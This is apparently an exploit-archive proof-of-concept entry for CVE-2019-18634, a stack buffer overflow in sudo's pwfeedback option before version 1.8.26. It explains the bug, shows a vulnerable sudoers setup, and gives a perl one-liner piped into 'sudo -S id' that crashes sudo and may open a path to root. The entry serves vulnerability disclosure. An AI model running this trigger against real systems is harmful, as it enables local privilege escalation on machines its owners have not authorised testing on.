Sudo 1.8.25p – ‘pwfeedback’ Buffer Overflow (PoC)
# Title: Sudo 1.8.25p - Buffer Overflow # Date: 2020-01-30 # Author: Joe Vennix # Software: Sudo # Versions: Sudo versions prior to 1.8.26 # CVE: CVE-2019-18634 # Reference: https://www.sudo.ws/alerts/pwfeedback.html # Sudo's pwfeedback option can be used to provide visual feedback when the user is inputting # their password. For each key press, an asterisk is printed. This option was added in # response to user confusion over how the standard Password: prompt disables the echoing # of key presses. While pwfeedback is not enabled by default in the upstream version of sudo, # some systems, such as Linux Mint and Elementary OS, do enable it in their default sudoers files. # Due to a bug, when the pwfeedback option is enabled in the sudoers file, a user may be able to trigger a stack-based buffer overflow. # This bug can be triggered even by users not listed in the sudoers file. There is no impact unless pwfeedback has been enabled. The folowing sudoers configuration is vulnerable: $ sudo -l Matching Defaults entries for millert on linux-build: insults, pwfeedback, mail_badpass, mailerpath=/usr/sbin/sendmail User millert may run the following commands on linux-build: (ALL : ALL) ALL # Exploiting the bug does not require sudo permissions, merely that pwfeedback be enabled. # The bug can be reproduced by passing a large input to sudo via a pipe when it prompts for a password. $ perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id Password: Segmentation fault If pwfeedback is enabled in sudoers, the stack overflow may allow unprivileged users to escalate to the root account. |